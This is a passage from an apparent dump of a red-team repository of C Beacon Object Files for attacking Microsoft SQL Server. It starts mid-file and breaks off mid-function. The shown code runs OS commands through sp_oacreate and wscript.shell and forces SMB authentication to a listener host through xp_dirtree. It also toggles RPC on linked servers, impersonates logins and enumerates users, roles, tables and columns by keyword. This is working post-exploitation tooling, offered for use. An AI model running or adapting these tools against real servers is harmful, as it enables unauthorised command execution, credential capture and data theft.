  \"\\\")'; EXEC sp_oacreate 'wscript.shell', @\"; // followed by output\n  char *part6 = \" out; EXEC sp_oamethod @\";        // followed by output\n  char *part7 = \", @\";                             // followed by program\n  char *part8 = \"; EXEC sp_oadestroy @\";           // followed by output\n  char *part9 = \";\";\n\n  if (link == NULL) {\n    totalSize =\n        MSVCRT$strlen(part1) + MSVCRT$strlen(output) + MSVCRT$strlen(part2) +\n        MSVCRT$strlen(program) + MSVCRT$strlen(part3) + MSVCRT$strlen(program) +\n        MSVCRT$strlen(part4) + MSVCRT$strlen(command) + MSVCRT$strlen(part5) +\n        MSVCRT$strlen(output) + MSVCRT$strlen(part6) + MSVCRT$strlen(output) +\n        MSVCRT$strlen(part7) + MSVCRT$strlen(program) + MSVCRT$strlen(part8) +\n        MSVCRT$strlen(output) + MSVCRT$strlen(part9) + 1;\n    query = (char *)intAlloc(totalSize * sizeof(char));\n\n    MSVCRT$strcpy(query, part1);\n  } else {\n    totalSize =\n        MSVCRT$strlen(linkPrefix) + MSVCRT$strlen(part1) +\n        MSVCRT$strlen(output) + MSVCRT$strlen(part2) + MSVCRT$strlen(program) +\n        MSVCRT$strlen(part3) + MSVCRT$strlen(program) + MSVCRT$strlen(part4) +\n        MSVCRT$strlen(command) + MSVCRT$strlen(part5) + MSVCRT$strlen(output) +\n        MSVCRT$strlen(part6) + MSVCRT$strlen(output) + MSVCRT$strlen(part7) +\n        MSVCRT$strlen(program) + MSVCRT$strlen(part8) + MSVCRT$strlen(output) +\n        MSVCRT$strlen(part9) + 1;\n    query = (char *)intAlloc(totalSize * sizeof(char));\n\n    MSVCRT$strcpy(query, linkPrefix);\n    MSVCRT$strncat(query, part1, totalSize - MSVCRT$strlen(query) - 1);\n  }\n\n  MSVCRT$strncat(query, output, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, part2, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, program, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, part3, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, program, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, part4, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, command, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, part5, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, output, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, part6, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, output, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, part7, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, program, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, part8, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, output, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, part9, totalSize - MSVCRT$strlen(query) - 1);\n\n  if (!HandleQuery(stmt, (SQLCHAR *)query, link, impersonate, TRUE)) {\n    goto END;\n  }\n\n  internal_printf(\"[*] Command executed\\n\");\n  internal_printf(\"[*] Destoryed \\\"%s\\\" and \\\"%s\\\"\\n\", output, program);\n\nEND:\n  if (output != NULL)\n    intFree(output);\n  if (program != NULL)\n    intFree(program);\n  if (query != NULL)\n    intFree(query);\n\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server;\n  char *database;\n  char *link;\n  char *impersonate;\n  char *command;\n  char *user;\n  char *password;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  link = BeaconDataExtract(&parser, NULL);\n  impersonate = BeaconDataExtract(&parser, NULL);\n  command = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = *server == 0 ? \"localhost\" : server;\n  database = *database == 0 ? \"master\" : database;\n  link = *link == 0 ? NULL : link;\n  impersonate = *impersonate == 0 ? NULL : impersonate;\n  user = *user == 0 ? NULL : user;\n  password = *password == 0 ? NULL : password;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  if (UsingLinkAndImpersonate(link, impersonate)) {\n    return;\n  }\n\n  ExecuteOleCmd(server, database, link, impersonate, command, user, password);\n\n  printoutput(TRUE);\n};"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/query/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"sql.c\"\n\nvoid CustomQuery(char *server, char *database, char *link, char *impersonate, char *query, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLHDBC dbc = NULL;\n  SQLRETURN ret;\n\n  if (link == NULL) {\n    dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n  } else {\n    dbc = ConnectToSqlServerAuth(&env, server, NULL, user, password);\n  }\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  if (link == NULL) {\n    internal_printf(\"[*] Executing custom query on %s\\n\\n\", server);\n  } else {\n    internal_printf(\"[*] Executing custom query on %s via %s\\n\\n\", link,\n                    server);\n  }\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Error allocating statement handle\\n\");\n    goto END;\n  }\n\n  if (!HandleQuery(stmt, (SQLCHAR *)query, link, impersonate, FALSE)) {\n    goto END;\n  }\n  PrintQueryResults(stmt, TRUE);\n\nEND:\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server;\n  char *database;\n  char *link;\n  char *impersonate;\n  char *query;\n  char *user;\n  char *password;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  link = BeaconDataExtract(&parser, NULL);\n  impersonate = BeaconDataExtract(&parser, NULL);\n  query = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = *server == 0 ? \"localhost\" : server;\n  database = *database == 0 ? \"master\" : database;\n  link = *link == 0 ? NULL : link;\n  impersonate = *impersonate == 0 ? NULL : impersonate;\n  user = *user == 0 ? NULL : user;\n  password = *password == 0 ? NULL : password;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  if (UsingLinkAndImpersonate(link, impersonate)) {\n    return;\n  }\n\n  if (query == NULL) {\n    return;\n  }\n\n  CustomQuery(server, database, link, impersonate, query, user, password);\n\n  printoutput(TRUE);\n}"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/rows/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"sql.c\"\n\nvoid CheckTableRows(char *server, char *database, char *link, char *impersonate, char *table, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLHDBC dbc = NULL;\n  char *useStmt = NULL;\n  char *query = NULL;\n  char *schema = NULL;\n  SQLRETURN ret;\n\n  if (link == NULL) {\n    dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n  } else {\n    dbc = ConnectToSqlServerAuth(&env, server, NULL, user, password);\n  }\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  if (link == NULL) {\n    internal_printf(\"[*] Getting row count from table %s in %s on %s\\n\\n\", table, database, server);\n  } else {\n    internal_printf(\"[*] Getting row count from table %s in %s on %s via %s\\n\\n\", table, database, link, server);\n  }\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Error allocating statement handle\\n\");\n    goto END;\n  }\n\n  char *dbPrefix = \"USE \";\n  char *dbSuffix = \"; \";\n  char *tablePrefix = \"SELECT COUNT(*) as row_count FROM \";\n  char *tableSuffix = \";\";\n\n  if (link == NULL) {\n    size_t useStmtSize = MSVCRT$strlen(dbPrefix) + MSVCRT$strlen(database) + MSVCRT$strlen(dbSuffix) + 1;\n    useStmt = (char *)intAlloc(useStmtSize * sizeof(char));\n\n    MSVCRT$strcpy(useStmt, dbPrefix);\n    MSVCRT$strncat(useStmt, database, useStmtSize - MSVCRT$strlen(useStmt) - 1);\n    MSVCRT$strncat(useStmt, dbSuffix, useStmtSize - MSVCRT$strlen(useStmt) - 1);\n\n    if (!HandleQuery(stmt, (SQLCHAR *)useStmt, link, impersonate, TRUE)) {\n      goto END;\n    }\n\n    size_t totalSize = MSVCRT$strlen(tablePrefix) + MSVCRT$strlen(table) + MSVCRT$strlen(tableSuffix) + 1;\n    query = (char *)intAlloc(totalSize * sizeof(char));\n\n    MSVCRT$strcpy(query, tablePrefix);\n    MSVCRT$strncat(query, table, totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, tableSuffix, totalSize - MSVCRT$strlen(query) - 1);\n\n    if (!HandleQuery(stmt, (SQLCHAR *)query, link, impersonate, TRUE)) {\n      goto END;\n    }\n\n    PrintQueryResults(stmt, TRUE);\n  } else {\n    char *sep = \".\";\n\n    if (!GetTableShema(stmt, link, database, table)) {\n      internal_printf(\"[!] Failed to get table schema for %s\\n\", table);\n      goto END;\n    }\n\n    schema = GetSingleResult(stmt, FALSE);\n    internal_printf(\"[*] Table schema for %s is: %s\\n\\n\", table, schema);\n\n    ret = ODBC32$SQLCloseCursor(stmt);\n    if (!SQL_SUCCEEDED(ret)) {\n      internal_printf(\"[!] Error closing cursor\\n\");\n      goto END;\n    }\n\n    size_t totalSize = MSVCRT$strlen(tablePrefix) + MSVCRT$strlen(database) +\n                       MSVCRT$strlen(sep) + MSVCRT$strlen(schema) +\n                       MSVCRT$strlen(sep) + MSVCRT$strlen(table) +\n                       MSVCRT$strlen(tableSuffix) + 1;\n    query = (char *)intAlloc(totalSize * sizeof(char));\n\n    MSVCRT$strcpy(query, tablePrefix);\n    MSVCRT$strncat(query, database, totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, sep, totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, schema, totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, sep, totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, table, totalSize - MSVCRT$strlen(query) - 1);\n\n    if (!HandleQuery(stmt, (SQLCHAR *)query, link, impersonate, TRUE)) {\n      goto END;\n    }\n\n    PrintQueryResults(stmt, TRUE);\n  }\n\nEND:\n  if (useStmt != NULL)\n    intFree(useStmt);\n  if (query != NULL)\n    intFree(query);\n  if (schema != NULL)\n    intFree(schema);\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server;\n  char *database;\n  char *table;\n  char *link;\n  char *impersonate;\n  char *user;\n  char *password;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  table = BeaconDataExtract(&parser, NULL);\n  link = BeaconDataExtract(&parser, NULL);\n  impersonate = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = *server == 0 ? \"localhost\" : server;\n  database = *database == 0 ? \"master\" : database;\n  table = *table == 0 ? NULL : table;\n  link = *link == 0 ? NULL : link;\n  impersonate = *impersonate == 0 ? NULL : impersonate;\n  user = *user == 0 ? NULL : user;\n  password = *password == 0 ? NULL : password;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  if (table == NULL) {\n    internal_printf(\"[!] Table argument is required\\n\");\n    printoutput(TRUE);\n    return;\n  }\n\n  if (UsingLinkAndImpersonate(link, impersonate)) {\n    return;\n  }\n\n  CheckTableRows(server, database, link, impersonate, table, user, password);\n\n  printoutput(TRUE);\n};"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/search/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"sql.c\"\n\nvoid Search(char *server, char *database, char *link, char *impersonate, char *keyword, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLHDBC dbc = NULL;\n  char *query = NULL;\n  SQLRETURN ret;\n\n  if (link == NULL) {\n    dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n  } else {\n    dbc = ConnectToSqlServerAuth(&env, server, NULL, user, password);\n  }\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  if (link == NULL) {\n    internal_printf( \"[*] Searching for columns containing \\\"%s\\\" in %s on %s\\n\\n\", keyword, database, server);\n  } else {\n    internal_printf( \"[*] Searching for columns containing \\\"%s\\\" in %s on %s via %s\\n\\n\", keyword, database, link, server);\n  }\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Error allocating statement handle\\n\");\n    goto END;\n  }\n\n  char *prefix = \"SELECT table_name, column_name FROM \";\n  char *middle = \".information_schema.columns WHERE column_name LIKE '%\";\n  char *suffix = \"%';\";\n\n  size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(database) +\n                     MSVCRT$strlen(middle) + MSVCRT$strlen(keyword) +\n                     MSVCRT$strlen(suffix) + 1;\n  query = (char *)intAlloc(totalSize * sizeof(char));\n\n  MSVCRT$strcpy(query, prefix);\n  MSVCRT$strncat(query, database, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, middle, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, keyword, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1);\n\n  if (!HandleQuery(stmt, (SQLCHAR *)query, link, impersonate, TRUE)) {\n    goto END;\n  }\n\n  PrintQueryResults(stmt, TRUE);\n\nEND:\n  if (query != NULL)\n    intFree(query);\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server;\n  char *database;\n  char *link;\n  char *impersonate;\n  char *keyword;\n  char *user;\n  char *password;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  link = BeaconDataExtract(&parser, NULL);\n  impersonate = BeaconDataExtract(&parser, NULL);\n  keyword = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = *server == 0 ? \"localhost\" : server;\n  database = *database == 0 ? \"master\" : database;\n  link = *link == 0 ? NULL : link;\n  impersonate = *impersonate == 0 ? NULL : impersonate;\n  user = *user == 0 ? NULL : user;\n  password = *password == 0 ? NULL : password;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  if (UsingLinkAndImpersonate(link, impersonate)) {\n    return;\n  }\n\n  Search(server, database, link, impersonate, keyword, user, password);\n\n  printoutput(TRUE);\n};"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/smb/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"sql.c\"\n\nvoid CoerceSmb(char *server, char *database, char *link, char *impersonate, char *listener, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLHDBC dbc = NULL;\n  char *query = NULL;\n  SQLRETURN ret;\n  size_t totalSize;\n\n  if (link == NULL) {\n    dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n  } else {\n    dbc = ConnectToSqlServerAuth(&env, server, NULL, user, password);\n  }\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Error allocating statement handle\\n\");\n    goto END;\n  }\n\n  char *linkPrefix = \"SELECT 1; \";\n  char *prefix = \"EXEC master..xp_dirtree '\";\n  char *suffix = \"';\";\n\n  if (link == NULL) {\n    internal_printf(\"[*] Triggering SMB request to %s on %s\\n\\n\", listener, server);\n    totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(listener) + MSVCRT$strlen(suffix) + 1;\n    query = (char *)intAlloc(totalSize * sizeof(char));\n    MSVCRT$strcpy(query, prefix);\n  } else {\n    internal_printf(\"[*] Triggering SMB request to %s on %s via %s\\n\\n\", listener, link, server);\n    totalSize = MSVCRT$strlen(linkPrefix) + MSVCRT$strlen(prefix) + MSVCRT$strlen(listener) + MSVCRT$strlen(suffix) + 1;\n    query = (char *)intAlloc(totalSize * sizeof(char));\n    MSVCRT$strcpy(query, linkPrefix);\n    MSVCRT$strncat(query, prefix, totalSize - MSVCRT$strlen(linkPrefix) - 1);\n  }\n\n  MSVCRT$strncat(query, listener, totalSize - MSVCRT$strlen(linkPrefix) - 1);\n  MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(linkPrefix) - 1);\n\n  if (!HandleQuery(stmt, (SQLCHAR *)query, link, impersonate, TRUE)) {\n    goto END;\n  }\n\n  internal_printf(\"[*] SMB request triggered\\n\");\n\nEND:\n  if (query != NULL)\n    intFree(query);\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server;\n  char *database;\n  char *link;\n  char *impersonate;\n  char *listener;\n  char *user;\n  char *password;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  link = BeaconDataExtract(&parser, NULL);\n  impersonate = BeaconDataExtract(&parser, NULL);\n  listener = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = *server == 0 ? \"localhost\" : server;\n  database = *database == 0 ? \"master\" : database;\n  link = *link == 0 ? NULL : link;\n  impersonate = *impersonate == 0 ? NULL : impersonate;\n  user = *user == 0 ? NULL : user;\n  password = *password == 0 ? NULL : password;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  if (UsingLinkAndImpersonate(link, impersonate)) {\n    return;\n  }\n\n  CoerceSmb(server, database, link, impersonate, listener, user, password);\n\n  printoutput(TRUE);\n};\n"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/tables/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"sql.c\"\n\nvoid CheckTables(char *server, char *database, char *link, char *impersonate, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLHDBC dbc = NULL;\n  char *query = NULL;\n  SQLRETURN ret;\n\n  if (link == NULL) {\n    dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n  } else {\n    dbc = ConnectToSqlServerAuth(&env, server, NULL, user, password);\n  }\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  if (link == NULL) {\n    internal_printf(\"[*] Enumerating tables in the %s database on %s\\n\\n\", database, server);\n  } else {\n    internal_printf( \"[*] Enumerating tables in the %s database on %s via %s\\n\\n\", database, link, server);\n  }\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Error allocating statement handle\\n\");\n    goto END;\n  }\n\n  char *prefix = \"SELECT * FROM \";\n  char *suffix = \".INFORMATION_SCHEMA.TABLES;\";\n\n  size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(database) + MSVCRT$strlen(suffix) + 1;\n  query = (char *)intAlloc(totalSize * sizeof(char));\n\n  MSVCRT$strcpy(query, prefix);\n  MSVCRT$strncat(query, database, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1);\n\n  if (!HandleQuery(stmt, (SQLCHAR *)query, link, impersonate, FALSE)) {\n    goto END;\n  }\n\n  PrintQueryResults(stmt, TRUE);\n\nEND:\n  if (query != NULL)\n    intFree(query);\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server;\n  char *database;\n  char *link;\n  char *impersonate;\n  char *user;\n  char *password;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  link = BeaconDataExtract(&parser, NULL);\n  impersonate = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = *server == 0 ? \"localhost\" : server;\n  database = *database == 0 ? \"master\" : database;\n  link = *link == 0 ? NULL : link;\n  impersonate = *impersonate == 0 ? NULL : impersonate;\n  user = *user == 0 ? NULL : user;\n  password = *password == 0 ? NULL : password;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  if (UsingLinkAndImpersonate(link, impersonate)) {\n    return;\n  }\n\n  CheckTables(server, database, link, impersonate, user, password);\n\n  printoutput(TRUE);\n};"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/togglemodule/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"sql.c\"\n#include \"sql_modules.c\"\n\nvoid ToggleRpc(char *server, char *database, char *link, char *impersonate, char *value, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLHDBC dbc = NULL;\n\n  dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  internal_printf(\"[*] Toggling RPC on %s...\\n\\n\", link);\n\n  ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n\n  if (!ToggleModule(stmt, \"rpc\", value, link, impersonate)) {\n    goto END;\n  }\n\n  ODBC32$SQLCloseCursor(stmt);\n\n  if (!CheckRpcOnLink(stmt, link, impersonate)) {\n    goto END;\n  }\n\n  PrintQueryResults(stmt, TRUE);\n\n  ODBC32$SQLCloseCursor(stmt);\n\nEND:\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nvoid ToggleGenericModule(char *server, char *database, char *link, char *impersonate, char *module, char *value, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLHDBC dbc = NULL;\n\n  dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n\n  if (link == NULL) {\n    internal_printf(\"[*] Toggling %s on %s...\\n\\n\", module, server);\n  } else {\n    internal_printf(\"[*] Toggling %s on %s via %s\\n\\n\", module, link, server);\n  }\n\n  if (!ToggleModule(stmt, module, value, link, impersonate)) {\n    goto END;\n  }\n\n  ODBC32$SQLCloseCursor(stmt);\n\n  CheckModuleStatus(stmt, module, link, impersonate);\n\n  PrintQueryResults(stmt, TRUE);\n\nEND:\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server;\n  char *database;\n  char *link;\n  char *impersonate;\n  char *module;\n  char *value;\n  char *user;\n  char *password;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  link = BeaconDataExtract(&parser, NULL);\n  impersonate = BeaconDataExtract(&parser, NULL);\n  module = BeaconDataExtract(&parser, NULL);\n  value = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = *server == 0 ? \"localhost\" : server;\n  database = *database == 0 ? \"master\" : database;\n  link = *link == 0 ? NULL : link;\n  impersonate = *impersonate == 0 ? NULL : impersonate;\n  user = *user == 0 ? NULL : user;\n  password = *password == 0 ? NULL : password;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  if (MSVCRT$strcmp(module, \"rpc\") == 0) {\n    if (link == NULL) {\n      internal_printf(\"[!] A link must be specified\\n\");\n      printoutput(TRUE);\n      return;\n    }\n    ToggleRpc(server, database, link, impersonate, value, user, password);\n  }\n  else {\n    if (UsingLinkAndImpersonate(link, impersonate)) {\n      return;\n    }\n\n    ToggleGenericModule(server, database, link, impersonate, module, value, user, password);\n  }\n\n  printoutput(TRUE);\n};\n"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/users/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"sql.c\"\n\nvoid CheckUsers(char *server, char *database, char *link, char *impersonate, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLHDBC dbc = NULL;\n  char *query = NULL;\n  SQLRETURN ret;\n\n  if (link == NULL) {\n    dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n  } else {\n    dbc = ConnectToSqlServerAuth(&env, server, NULL, user, password);\n  }\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  if (link == NULL) {\n    internal_printf(\"[*] Enumerating users in the %s database on %s\\n\\n\", database, server);\n  } else {\n    internal_printf(\"[*] Enumerating users in the %s database on %s via %s\\n\\n\", database, link, server);\n  }\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Failed to allocate statement handle\\n\");\n    goto END;\n  }\n\n  char *prefix = \"SELECT name AS username, create_date, modify_date, type_desc AS type, authentication_type_desc AS authentication_type FROM \";\n  char *suffix = \".sys.database_principals WHERE type NOT IN ('A', 'R', 'X') AND sid IS NOT null ORDER BY username;\";\n\n  size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(database) + MSVCRT$strlen(suffix) + 1;\n  query = (char *)intAlloc(totalSize * sizeof(char));\n\n  MSVCRT$strcpy(query, prefix);\n  MSVCRT$strncat(query, database, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1);\n\n  if (!HandleQuery(stmt, (SQLCHAR *)query, link, impersonate, FALSE)) {\n    goto END;\n  }\n\n  PrintQueryResults(stmt, TRUE);\n\nEND:\n  if (query != NULL)\n    intFree(query);\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server;\n  char *database;\n  char *link;\n  char *impersonate;\n  char *user;\n  char *password;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  link = BeaconDataExtract(&parser, NULL);\n  impersonate = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = *server == 0 ? \"localhost\" : server;\n  database = *database == 0 ? \"master\" : database;\n  link = *link == 0 ? NULL : link;\n  impersonate = *impersonate == 0 ? NULL : impersonate;\n  user = *user == 0 ? NULL : user;\n  password = *password == 0 ? NULL : password;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  if (UsingLinkAndImpersonate(link, impersonate)) {\n    return;\n  }\n\n  CheckUsers(server, database, link, impersonate, user, password);\n\n  printoutput(TRUE);\n};"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/whoami/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"sql.c\"\n\nvoid FreeResults(char **results) {\n  for (int i = 0; results[i] != NULL; i++) {\n    intFree(results[i]);\n  }\n  intFree(results);\n}\n\nvoid PrintMemberStatus(char *roleName, char *status) {\n  if (status[0] == '0') {\n    internal_printf(\" |--> User is NOT a member of the %s role\\n\", roleName);\n  } else {\n    internal_printf(\" |--> User is a member of the %s role\\n\", roleName);\n  }\n}\n\nvoid Whoami(char *server, char *database, char *link, char *impersonate, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLHDBC dbc = NULL;\n  char *sysUser = NULL;\n  char *mappedUser = NULL;\n  char **dbRoles = NULL;\n  SQLRETURN ret;\n\n  char *roles[] = {\"sysadmin\",     \"setupadmin\", \"serveradmin\", \"securityadmin\", \"processadmin\", \"diskadmin\",  \"dbcreator\",   \"bulkadmin\"};\n\n  if (link == NULL) {\n    dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n  } else {\n    dbc = ConnectToSqlServerAuth(&env, server, NULL, user, password);\n  }\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  if (link == NULL) {\n    internal_printf(\"[*] Determining user permissions on %s\\n\", server);\n  } else {\n    internal_printf(\"[*] Determining user permissions on %s via %s\\n\", link, server);\n  }\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] 